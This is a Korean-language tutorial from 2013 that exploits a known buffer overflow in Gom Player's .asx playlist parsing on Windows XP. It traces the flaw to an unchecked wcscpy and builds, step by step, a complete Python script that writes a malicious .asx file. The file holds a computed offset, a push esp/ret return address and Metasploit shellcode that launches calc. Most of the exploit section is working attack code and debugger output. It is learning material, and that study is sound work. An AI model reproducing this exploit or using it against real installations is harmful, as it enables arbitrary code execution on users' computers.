Basic of Real World Exploit on Windows Author sweetchip@wiseguys
목차 0x00 Intro 0x10 Target 0x20 Vulnerability ㄴ 0x21 What is Buffer Overflow? ㄴ 0x22 How does buffer overflow occurs? 0x30 Debugging ㄴ 0x31 Prepare for debug ㄴ 0x32 Vulnerable Functions. ㄴ 0x33 Debugging ㄴ 0x34 Is this vulnerability exploitable? 0x40 Exploit ㄴ 0x41 Generating shellcode. ㄴ 0x42 Writing exploit. ㄴ 0x43 Exploit 0x50 Epilogue Copyright c 2013 sweetchip All rights reserved 1
0x00 Intro 이문서를쓰게된계기는국내에시스템해킹에대한문서 [ 특히윈도우 ] 의양이매우부족한것을확실히느꼈기때문입니다. 이문서를쓰기 4개월전처음으로 Windows의시스템해킹을입문할때 SQL Injection이나 Reverse Engineering 에관련된기법같은문서에비해상대적으로매우적은양의문서로공부하기는쉬운편은아니었습니다. 그나마요즘은국내문서가점점늘어나고있는추세라서시스템해킹을처음입문하기가점점좋아질것입니다. 이문서는 Real World Exploit이라는주제로, 이미발견된실제서비스중인프로그램의취약점을분석하고 Exploit을하는과정을보여줄것입니다. 문서를보시려면약간의어셈블리어지식, 디버깅경험, 메모리구조의기본적인이해, 취약점에대한기본적인이해가있으셔야쉽게읽으실수있을것같습니다. 만약모르는것이있다면그때그때검색하시면서궁금증을해결하시면더좋은공부효과를얻으실수있을것같습니다. 이문서를다읽으시면제로데이를찾을수있는능력을바로가지게되는것은아니지만, 기본적인감은잡으실수있을것이라고생각되고, 읽으시면서처음윈도우상의시스템해킹입문에매우작은도움이라도되었으면좋겠습니다. 문서를쓰는것은이번이처음이라다소미흡한점과오타, 그리고틀린내용이있을수도 있습니다. 혹시나나중에이러한것들을발견하시는분은 sweetchip@studyc.co.kr 로메일 을보내주시면정정하도록하겠습니다. 문서의저작권은모두문서의제작자가가지고있습니다. 하지만상업적용도가아니라면 누구나자유롭게수정및배포가가능합니다. Copyright c 2013 sweetchip All rights reserved 2
0x10 Target 시스템해킹관련문서를준비하면서어떤내용, 그리고어떤프로그램을다루는것이좋을까생각해봤습니다. 최근에발표된취약점은악용의우려가크고, 그렇다고너무옛날프로그램은재미가없을것같았습니다. 그렇다고또프로그램을짜기엔복잡해질것같아서어느정도시간이지난프로그램의취약점을공략하는것으로정하게되었습니다. 이번에다룰것은 버퍼오버플로우 취약점이며, 오래전에발표된취약점이나여전히새롭게발견이되고있고앞으로도없어지진않을것이라고생각됩니다. 버퍼오버플로우에대한설명은잠시뒤로미뤄두고, 공략할프로그램은국내에서매우매우유명한 Gom Player 입니다. 처음발표된 exploit은아래링크에서확인하실수있고, 취약한버전의프로그램도다운로드받으실수있습니다. Exploit-DB : http://www.exploit-db.com/exploits/7702/ Copyright c 2013 sweetchip All rights reserved 3
0x20 Vulnerability 그렇다면이프로그램에서발생하는취약점에대해서간단하게알아보겠습니다. 0x21 Buffer Overflow? 버퍼오버플로우공격에대한취약점은말그대로버퍼가넘쳐흐르는것을말하며, 프로그램에서임시로변수를저장할때개발자가정한크기의버퍼라는곳에저장을하게되는데이정해진크기이상의데이터가버퍼로삽입되면다른버퍼나 EIP값이있는영역까지삽입되어서데이터가손상이되며, 프로그램이그데이터에엑세스할때에러 [ 예외 ] 가발생하는것입니다. 간단하게비유를해보자면 500ml 컵에물을담으려고하는데 1000ml의물을담자물이넘쳐흐르고쏟아져서탁자가썩게되는것으로비유할수있습니다. 이때컵은버퍼이고, 물은데이터이며, 탁자가썩는것은예외가발생하는것에비유할수있습니다. 많이쓰는비유인데이해가잘되실것이라믿습니다. 0x22 How does buffer overflow occurs? 우리가공략할프로그램의취약점은 asx 파일과관련되어있습니다. asx파일은아래와같이미디어에주소가담겨져있는파일입니다. <asx version = "3.0"> <entry> <ref href = "http://asd.com/asd.mp3"/> </entry> <entry> <ref href = "http://sdf.com/sdf.mp4"/> </entry> </asx> 위는매우정상적인 asx 파일의내용입니다. 하지만저것을아래와같이바꿔보겠습니다. <asx version = "3.0"> <entry> <ref href = "http://aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA [ 중간생략 ] AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAA"/> </entry> </asx> 원래있던주소에주소대신 A로쭉채웠습니다. 개수는대략 3000개정도가적당할것같습니다. 이제이것을로딩을시켜보면아무런오류없이플레이어는종료가됩니다. 이따가디버깅을해보면알겠지만 asx 파일을파싱하는과정중에 BOF에취약한함수를사용해서 BOF가발생하고, EIP가조작되어강제종료된것입니다. Copyright c 2013 sweetchip All rights reserved 4
0x30 Debug 이제무엇인가크래시가발생했으니분석할차례입니다. 주로 windbg 와 immunity or olly 를사용하나이번엔 immunity 만사용하도록하겠습니다. 0x31 Prepare for Debug 이번에사용할분석툴은 Immunity Debugger이고, Exploit 코드를작성하는데 Python을사용할예정입니다. 또, Exploit 코드를작성하는데필수라고할수있는 Corelan 팀의 mona.py 스크립트를사용할예정입니다. mona는 Exploit 코드를작성하는데엄청나게큰도움을주는스크립트입니다. 예를들어서특정명령을찾아주는기능이나로드된모듈의 aslr, dep, safe SEH 설정유무를알려주는기능등이외에도많은기능이담겨있는스크립트입니다. Immunity Debugger 다운로드 : http://www.immunityinc.com/downloads.shtml [* Immunity Debugger 를설치하시면 Python 도함께설치할수있습니다.] mona.py 다운로드 : http://redmine.corelan.be/projects/mona mona 의설치방법은 Immunity Debugger 가설치된경로의 pycommand 폴더에넣어주시면 되겠습니다. 0x32 Debugging 0x22 부분에서처럼 asx 파일을변조하고프로그램에로딩을시키면프로그램이강제로종료됩니다. 이런증상의원인을찾으려면디버깅은꼭거쳐야하는과정입니다. 분석은 xp 서비스팩3 에서진행하겠습니다. 원래취약한함수에 Break Point를걸어야정석이지만원리만알아보고빠르게분석하기위해서약간스킵하겠습니다. 0x0042eb10 와 0x0042eb53 에 Break Point 를설정하고 asx 파일을로딩시킵니다. Copyright c 2013 sweetchip All rights reserved 5
이제의문의 call 문으로브레이크포인트에도달했습니다. 주석에 cpy 라고달아뒀습니다. 함 수안으로진입 [f7] 해서어떤역할을하는지보겠습니다. 함수에진입해보면뭔가루프가있습니다. 어떤것을복사하나한번살펴보도록하겠습니 다. 위처럼루프를돌면서복사를시작합니다. 제일상단에 41 41 이현재복사중인것을보여 줍니다. Copyright c 2013 sweetchip All rights reserved 6
복사가진행된부분은 <ref href = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAA /> 입니다. 여기서문제는저루프를도는함수는그냥계속복사를한다는것입니다. 얼마나복사를하는것에대해는전혀체크를하는부분이없어서데이터를크게넣으면그만큼똑같이들어갑니다. 예를들어 500이란공간에도 1000만큼데이터를집어넣으면저함수는 1000만큼복사를해서 500이넘치게되므로다른공간이손상을받게됩니다. 저함수가정확히어떤것인지알아보기위해 IDA로분석을시도해봤습니다. call 로 _wcscpy 를호출하고있습니다. 심볼파일이존재하지않아그랬는지 immunity 디버 거엔나타나지않았습니다. ida 로봤더니바로나타나는군요. wcscpy에대한자세한정보는다음링크를참고하시길바랍니다. msdn : http://msdn.microsoft.com/en-us/library/kk6xf663(v=vs.71).aspx 간단하게설명해보면유니코드형식을복사하는함수입니다. 하지만길이체크를하지않아취약한함수로유명한아스키를복사하는 strcpy와똑같은취약성을가지고있는것이특징입니다. Copyright c 2013 sweetchip All rights reserved 7
다시디버거로돌아와서 0x0042f616 와 0x0042f627 에브레이크포인트를설정합니다. 그리고진행을하다보면아래와같이스택포인터가변하는것을볼수있습니다. add esp, 0x131c 가지나기이전의스택 그리고한번더진행시켜서 0x0042f627 에서멈춘뒤스택포인터를보시면아래와같습니다. add esp, 0x131c 가지난다음의스택 그리고마침내리턴어드레스가조작된것을볼수있습니다. Copyright c 2013 sweetchip All rights reserved 8
정리를해보자면현재취약한함수를사용함에따라버퍼오버플로우공격이가능하고, 파일의데이터로프로그램의 EIP를변경할수있다는결론이나옵니다. 그리고윈도우 xp의 sp3 라서따로보호기법도적용되지않은상태라무방비상태라고볼수있습니다. 0x32 Is this vulnerability exploitable? 앞으로더공부를하시다보면 Crash를자주만나게될것입니다. 하지만크래시가발생한다고해서모두 Code Execution을할수있는것은아닙니다. 물론 Denial Of Service도 exploit에해당되긴하지만가장큰영향력이있는것은 1) Code Execution입니다. code execution을성공하려면일단은코드를주입할수있어야하고, 두번째로는 EIP를코드가있는부분으로조작할수있는지여부입니다. 위디버깅결과에따르면 eip는파일에의해변조가되었고, 파일의내용이메모리영역에남아있어 EIP 변조와동시에파일의내용에쉘코드를추가시켜주입할수있으므로 Exploitable 하다는결과가나오게됩니다. 1) Code Execution 코드실행, 여기선공격자가의도한코드를실행하는것을말합니다. Copyright c 2013 sweetchip All rights reserved 9
0x40 Exploit 이제어떻게취약점이발생되고어느부분에서예외가발생하는지파악했고, Exploitable 도 확인했으니, 이젠공격을할차례입니다. 0x41 Generating Shellcode Exploit 성공후 Shellcode에의해실행된계산기쉘코드란말그대로실행코드를말하는데, 이쉘코드를이용하면계산기나메모장을띄우는것부터백도어, 악성파일다운로드등다양한역할을수행할수있는코드입니다. 이부분을먼저넣은이유는 Exploit 파트와같이넣는다면설명이복잡해질것같아먼저넣게되었습니다. 이것역시간단하게비유를해본다면미사일로비유할수있습니다. 미사일이발사되고적국에도달해서터지기직전까지과정이취약점을공략하는부분이고터지는부분이쉘코드라고할수있습니다. 탄두에따라단순폭탄이될수도, 핵무기가될수있는것처럼쉘코드도계산기를띄울수도, 백도어를다운받고실행시킬수있는익스플로잇의탄두부분입니다. 쉘코드는본인이직접제작할수도있고간단하게 Metasploit으로제작할수있습니다. metasploit으로쉘코드를제작하는것은다음링크를참고해주세요 ^^; Metasploit으로 Shellcode 제작하기 : http://pgnsc.tistory.com/281 /*windows/exec - 144 bytes,encoder: x86/shikata_ga_nai,exitfunc=process, CMD=calc*/ "\x31\xc9\xbd\x90\xb7\x29\xb8\xd9\xf7\xd9\x74\x24\xf4\xb1\x1e" "\x58\x31\x68\x11\x03\x68\x11\x83\xe8\x6c\x55\xdc\x44\x64\xde" "\x1f\xb5\x74\x54\x5a\x89\xff\x16\x60\x89\xfe\x09\xe1\x26\x18" "\x5d\xa9\x98\x19\x8a\x1f\x52\x2d\xc7\xa1\x8a\x7c\x17\x38\xfe" "\xfa\x57\x4f\xf8\xc3\x92\xbd\x07\x01\xc9\x4a\x3c\xd1\x2a\xb7" "\x36\x3c\xb9\xe8\x9c\xbf\x55\x70\x56\xb3\xe2\xf6\x37\xd7\xf5" "\xe3\x43\xfb\x7e\xf2\xb8\x8a\xdd\xd1\x3a\x4f\x82\x28\xb5\x2f" "\x6b\x2f\xb2\xe9\xa3\x24\x84\xf9\x48\x4a\x19\xac\xc4\xc3\x29" "\x27\x22\x90\xea\x5d\x83\xff\x94\x79\xc1\x73\x01\xe1\xf8\xfe" "\xdf\x46\xfa\x18\xbc\x09\x68\x84\x43" 완성된쉘코드 이것을사용할것입니다. Copyright c 2013 sweetchip All rights reserved 10
0x42 Writing Exploit [ 읽어주세요꼭!] Exploit을작성하기에앞서, 위에서봤듯이 wcscpy는유니코드를복사하는함수입니다. 그러면보통 ascii로된 asx 파일을로딩하는순간유니코드로변환이되게됩니다. 예를들어서 AAAA [41414141] -> AAAA[4100410041004100] 으로 00까지붙게돼서 exploit을어렵게할수있습니다.[exploit은가능하나복잡해집니다.] 그래서처음부터유니코드로작성하기로하고문서를작성했습니다. # -*- coding: cp949 -*- # 위주석꼭붙여주세요 filename = "gom_exploit.asx" offset = 0 head1 = ("\xff\xfe\x3c\x00\x61\x00\x73\x00\x78\x00" "\x20\x00\x76\x00\x65\x00\x72\x00\x73\x00" "\x69\x00\x6f\x00\x6e\x00\x20\x00\x3d\x00" "\x20\x00\x22\x00\x33\x00\x2e\x00\x30\x00" "\x22\x00\x20\x00\x3e\x00\x0d\x00\x0a\x00" "\x3c\x00\x65\x00\x6e\x00\x74\x00\x72\x00" "\x79\x00\x3e\x00\x0d\x00\x0a\x00\x3c\x00" "\x72\x00\x65\x00\x66\x00\x20\x00\x68\x00" "\x72\x00\x65\x00\x66\x00\x20\x00\x3d\x00" "\x20\x00\x22\x00") head2 = ("\x22\x00\x20\x00\x2f\x00\x3e\x00\x0d\x00" "\x0a\x00\x3c\x00\x2f\x00\x65\x00\x6e\x00" "\x74\x00\x72\x00\x79\x00\x3e\x00\x0d\x00" "\x0a\x00\x3c\x00\x2f\x00\x61\x00\x73\x00" "\x78\x00\x3e\x00\x0d\x00\x0a\x00") exploit = head1 exploit += head2 f = open(filename,'wb') f.write(exploit) f.close() 일단어느방향으로써나가야할지생각해봅시다. 일단최종목표는코드를실행시키는것 이고, 그러기위해선버퍼오버플로우공격을시행해야하며, 쉘코드도집어넣고, 그외필요 한것들도집어넣어야합니다. Copyright c 2013 sweetchip All rights reserved 11
가장먼저할일은 EIP 를변조시키는것인데, 위에서계속 A 를집어넣어서 EIP 가 41414141 로변조되었습니다. 그럼이제이 41414141 을쉘코드가있는곳을향하도록변경해야하 는데그러려면저 41414141 의위치를알아야합니다. 변조된 DATA -- AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA [Dummy~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~] [ EIP ][Dummy~~~~~~~~~~~~~] 현재이런방식으로데이터가조작되어있으며다음과같이바꾸게될것입니다. 변조된 DATA -- AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAWXYZBBBBBBBBBBBBBBBBBBB [Dummy~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~][ EIP][ShellCode~~~~~~~~~~~] WXYZ 는쉘코드가있는포인터를향하도록할것이고 WXYZ 뒤엔 nopsled 와 shellcode 를삽 입할것입니다. 이제대충모양도완성되었으니첫번쨰로 Dummy로부터 EIP까지의 Offset을구해야합니다. 이제 mona를사용할때가왔습니다! 설치법은문서에있습니다. 커맨드로입력을하셔야하는데, 커맨드창은위사진을참고해주시기바랍니다.!mona 를입력하시면명령어와설명이나옵니다. Copyright c 2013 sweetchip All rights reserved 12
오프셋을구하기편하도록 mona 의기능중하나인패턴파일을만드는것을이용하겠습니다.!mona pc 8000 을입력합니다. 그러면 Aa0A... 라는문자의패턴이생성됩니다. 위와같이생성되었습니다. 이제위패턴을스크립트에삽입합니다. # -*- coding: cp949 -*- # 위주석꼭붙여주세요 filename = "gom_exploit.asx" offset = 0 head1 = ("\xff\xfe\x3c\x00\x61\x00\x73\x00\x78\x00" "\x20\x00\x76\x00\x65\x00\x72\x00\x73\x00" "\x69\x00\x6f\x00\x6e\x00\x20\x00\x3d\x00" "\x20\x00\x22\x00\x33\x00\x2e\x00\x30\x00" "\x22\x00\x20\x00\x3e\x00\x0d\x00\x0a\x00" "\x3c\x00\x65\x00\x6e\x00\x74\x00\x72\x00" "\x79\x00\x3e\x00\x0d\x00\x0a\x00\x3c\x00" "\x72\x00\x65\x00\x66\x00\x20\x00\x68\x00" "\x72\x00\x65\x00\x66\x00\x20\x00\x3d\x00" "\x20\x00\x22\x00") head2 = ("\x22\x00\x20\x00\x2f\x00\x3e\x00\x0d\x00" "\x0a\x00\x3c\x00\x2f\x00\x65\x00\x6e\x00" "\x74\x00\x72\x00\x79\x00\x3e\x00\x0d\x00" "\x0a\x00\x3c\x00\x2f\x00\x61\x00\x73\x00" "\x78\x00\x3e\x00\x0d\x00\x0a\x00") pattern = ("Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac 7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5 Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3A i4ai5ai6ai7ai8ai9aj0aj1aj2aj3aj4aj5aj6aj7aj8aj9ak0ak1ak2ak3ak4ak5ak6ak7ak8ak9al0al1al... 중략... f1kf2kf3kf4kf5kf6kf7kf8kf9kg0kg1kg2kg3kg4kg5kg") exploit = head1 exploit += pattern exploit += head2 f = open(filename,'wb') f.write(exploit) f.close() Copyright c 2013 sweetchip All rights reserved 13
이제프로그램을로딩시키로파일을로드합니다. 그러면아까 BP를설정한 retn까지도달하면 EIP가 0x316a4630 인것을볼수있습니다. 음.. 이제하나하나세보면서오프셋이몇인지아는방법밖에없는것은아닙니다. 이제커맨드창에!mona po 316a4630 을입력해줍니다. 짠! 패턴을찾았다고나오고오프셋은 4172 라고친절하게가르쳐줍니다. 그러면 offset 은 4172 가되겠고페이로드를다시구상해보면 dummy*4172 + ptr_to_shellcode(nopsled) + nopsled + shellcode 가되겠습니다. # -*- coding: cp949 -*- filename = "gom_exploit.asx" offset = 4172 head1 = ("\xff\xfe\x3c\x00\x61\x00\x73\x00\x78\x00" "\x20\x00\x76\x00\x65\x00\x72\x00\x73\x00" "\x69\x00\x6f\x00\x6e\x00\x20\x00\x3d\x00" "\x20\x00\x22\x00\x33\x00\x2e\x00\x30\x00" "\x22\x00\x20\x00\x3e\x00\x0d\x00\x0a\x00" "\x3c\x00\x65\x00\x6e\x00\x74\x00\x72\x00" "\x79\x00\x3e\x00\x0d\x00\x0a\x00\x3c\x00" "\x72\x00\x65\x00\x66\x00\x20\x00\x68\x00" "\x72\x00\x65\x00\x66\x00\x20\x00\x3d\x00" "\x20\x00\x22\x00") head2 = ("\x22\x00\x20\x00\x2f\x00\x3e\x00\x0d\x00" "\x0a\x00\x3c\x00\x2f\x00\x65\x00\x6e\x00" "\x74\x00\x72\x00\x79\x00\x3e\x00\x0d\x00" "\x0a\x00\x3c\x00\x2f\x00\x61\x00\x73\x00" "\x78\x00\x3e\x00\x0d\x00\x0a\x00") shellcode = ("\x31\xc9\xbd\x90\xb7\x29\xb8\xd9\xf7\xd9\x74\x24\xf4\xb1\x1e" "\x58\x31\x68\x11\x03\x68\x11\x83\xe8\x6c\x55\xdc\x44\x64\xde" "\x1f\xb5\x74\x54\x5a\x89\xff\x16\x60\x89\xfe\x09\xe1\x26\x18" "\x5d\xa9\x98\x19\x8a\x1f\x52\x2d\xc7\xa1\x8a\x7c\x17\x38\xfe" "\xfa\x57\x4f\xf8\xc3\x92\xbd\x07\x01\xc9\x4a\x3c\xd1\x2a\xb7" "\x36\x3c\xb9\xe8\x9c\xbf\x55\x70\x56\xb3\xe2\xf6\x37\xd7\xf5" "\xe3\x43\xfb\x7e\xf2\xb8\x8a\xdd\xd1\x3a\x4f\x82\x28\xb5\x2f" "\x6b\x2f\xb2\xe9\xa3\x24\x84\xf9\x48\x4a\x19\xac\xc4\xc3\x29" "\x27\x22\x90\xea\x5d\x83\xff\x94\x79\xc1\x73\x01\xe1\xf8\xfe" "\xdf\x46\xfa\x18\xbc\x09\x68\x84\x43") exploit = head1 exploit += "A" * offset exploit += "BBBB" exploit += "\x90" * 32 exploit += shellcode exploit += head2 f = open(filename,'wb') f.write(exploit) f.close() Copyright c 2013 sweetchip All rights reserved 14
자! 이제얼마남지않았습니다. 저스크립트를이용해 malicious file 을생성한뒤, 로드시켜 디버깅해보겠습니다. 자! 역시나 42424242로변조를성공했습니다. 정말얼마남지않았습니다. 이제저 42424242만조정을해야하는데여러가지방법이있는데그것중하나는윈도우 xp는 aslr등보호기법이없어서대부분고정된주소에데이터가할당됩니다. 그러므로 42424242를아래 nopsled가존재하는위치인 0x0012f0f4에위치시키면쉘코드가실행될것입니다. 하지만언제나예외가존재합니다. xp 라도일부버전은다르게할당될수도있습니다. 예를 들어서현재는스택포인터가 0012f0f0 이지만다른 xp 에서는 0013f0f0 이될수있는예외가 있습니다. 그러므로좀더 Reliable 한 Exploit 을제작하려면센스가필요합니다. 이센스중에서도여러방법이있지만저는현재스택포인터를가리키고있는 jmp esp를나 call esp같은것을이용해보겠습니다. 그러면아무리 esp 주소가바뀌어도현재 esp 주소로뛰어들어가지기때문에현재스택포인터가어디에있든똑같이쉘코드를실행할수있을것입니다. 이때다시한번 mona 의도움을받아야합니다. 커맨드창에다음을입력합니다.!mona jmp r esp 이명령어는시간이좀걸리는명령어입니다. 오류가아니니종료하지마세요! [ 몇분소요 ] 명령어의의미는 esp 로점프하는명령어를찾는것입니다. Copyright c 2013 sweetchip All rights reserved 15
일단관련된명령어를모두찾게되면위와같이나오게됩니다. 저의 VM 의경우약 6 분이 소요되었습니다. 그리고 174 개의포인터를찾았다고합니다. 그러면어느것을이용할것이냐.. 저는 exe 에존재하는명령어를사용할것입니다. 다른모듈을 xp os 에따라 rebase 등설정이달라지기때문에 reliable 하지않을수있습니 다. 그러므로저는아랫것들을선택해봤습니다. 0x0040f2b4 : push esp # ret 0x04 ASLR: False, Rebase: False, SafeSEH: False, OS: False 0x0041ee84 : push esp # ret 0x04 ASLR: False, Rebase: False, SafeSEH: False, OS: False 0x0041ef13 : push esp # ret 0x04 ASLR: False, Rebase: False, SafeSEH: False, OS: False 음.. 저는왠지세번째것이끌립니다. 어느것으로해도상관은없습니다. push ebp로스택에현재 esp ptr을넣고 retn을해서 esp의주소로이동되는것입니다. jmp esp / call esp와같은역할이라고보시면되겠습니다. 잘이해가안되신다면트레이스해보시면 아하! 라고하실겁니다! Copyright c 2013 sweetchip All rights reserved 16
import struct # -*- coding: cp949 -*- filename = "gom_exploit.asx" offset = 4172 head1 = ("\xff\xfe\x3c\x00\x61\x00\x73\x00\x78\x00" "\x20\x00\x76\x00\x65\x00\x72\x00\x73\x00" "\x69\x00\x6f\x00\x6e\x00\x20\x00\x3d\x00" "\x20\x00\x22\x00\x33\x00\x2e\x00\x30\x00" "\x22\x00\x20\x00\x3e\x00\x0d\x00\x0a\x00" "\x3c\x00\x65\x00\x6e\x00\x74\x00\x72\x00" "\x79\x00\x3e\x00\x0d\x00\x0a\x00\x3c\x00" "\x72\x00\x65\x00\x66\x00\x20\x00\x68\x00" "\x72\x00\x65\x00\x66\x00\x20\x00\x3d\x00" "\x20\x00\x22\x00") head2 = ("\x22\x00\x20\x00\x2f\x00\x3e\x00\x0d\x00" "\x0a\x00\x3c\x00\x2f\x00\x65\x00\x6e\x00" "\x74\x00\x72\x00\x79\x00\x3e\x00\x0d\x00" "\x0a\x00\x3c\x00\x2f\x00\x61\x00\x73\x00" "\x78\x00\x3e\x00\x0d\x00\x0a\x00") shellcode = ("\x31\xc9\xbd\x90\xb7\x29\xb8\xd9\xf7\xd9\x74\x24\xf4\xb1\x1e" "\x58\x31\x68\x11\x03\x68\x11\x83\xe8\x6c\x55\xdc\x44\x64\xde" "\x1f\xb5\x74\x54\x5a\x89\xff\x16\x60\x89\xfe\x09\xe1\x26\x18" "\x5d\xa9\x98\x19\x8a\x1f\x52\x2d\xc7\xa1\x8a\x7c\x17\x38\xfe" "\xfa\x57\x4f\xf8\xc3\x92\xbd\x07\x01\xc9\x4a\x3c\xd1\x2a\xb7" "\x36\x3c\xb9\xe8\x9c\xbf\x55\x70\x56\xb3\xe2\xf6\x37\xd7\xf5" "\xe3\x43\xfb\x7e\xf2\xb8\x8a\xdd\xd1\x3a\x4f\x82\x28\xb5\x2f" "\x6b\x2f\xb2\xe9\xa3\x24\x84\xf9\x48\x4a\x19\xac\xc4\xc3\x29" "\x27\x22\x90\xea\x5d\x83\xff\x94\x79\xc1\x73\x01\xe1\xf8\xfe" "\xdf\x46\xfa\x18\xbc\x09\x68\x84\x43") exploit = head1 exploit += "A" * offset exploit += struct.pack('<i', 0x0041ef13) # push esp # ret 0x04 exploit += "\x90" * 40 exploit += shellcode exploit += head2 f = open(filename,'wb') f.write(exploit) f.close() 드디어완성했습니다! 여기까지따라오신분들수고하셨고축하드립니다! 안따라오시고읽어만주셨어도수고 하셨습니다! 목표는다이뤘습니다. BOF 를발생시키고 EIP 를변조했으며 ShellCode 를넣었고파일포맷 까지맞춰줬기때문에완벽해보이는 exploit 입니다. 이제스크립트를실행시켜서파일을생성해봅시다! Copyright c 2013 sweetchip All rights reserved 17
0x43 Exploit 이제신나게코드를실행시키는일만남았습니다. 아무래도이시간이가장재미있는것 같습니다. 곰플레이어를실행시키고파일을로딩합니다. 쨘 ~ 계산기가나타났습니다! 우리는 Exploit 을성공하고쉘코드를띄우는데성공했습니다. Copyright c 2013 sweetchip All rights reserved 18
0x50 Epilogue 문서를최대한쉽게쓰려고했는데그렇지못한부분과잘전달이되지않은부분이있는것같기도한것같습니다. 지금까지비록배운지 4~5개월정도밖에되지않았지만, 수많은삽질을하면서느낀것이시스템해킹은처음입문을하는사람에게는높은장벽일수도있으나여러번시도를해보다보면어느순간부터갑자기이해가되기시작하고그이후로는이전보다더빠르게많은것을흡수하실수있을것입니다. 그리고흥미를붙이신분은아마폐인처럼연구를하시는분도있을겁니다. 정리하자면, 처음에어렵다고포기하지마시고여러번반복적으로보면서연구해보시기바랍니다! 문서에대한잘못된정보를알려주실분은아래 Email 로보내주시면감사하겠습니다! 2013.05.22. Author : sweetchip@wiseguys E-mail : sweetchip@studyc.co.kr Blog : http://pgnsc.tistory.com Copyright c 2013 sweetchip All rights reserved 19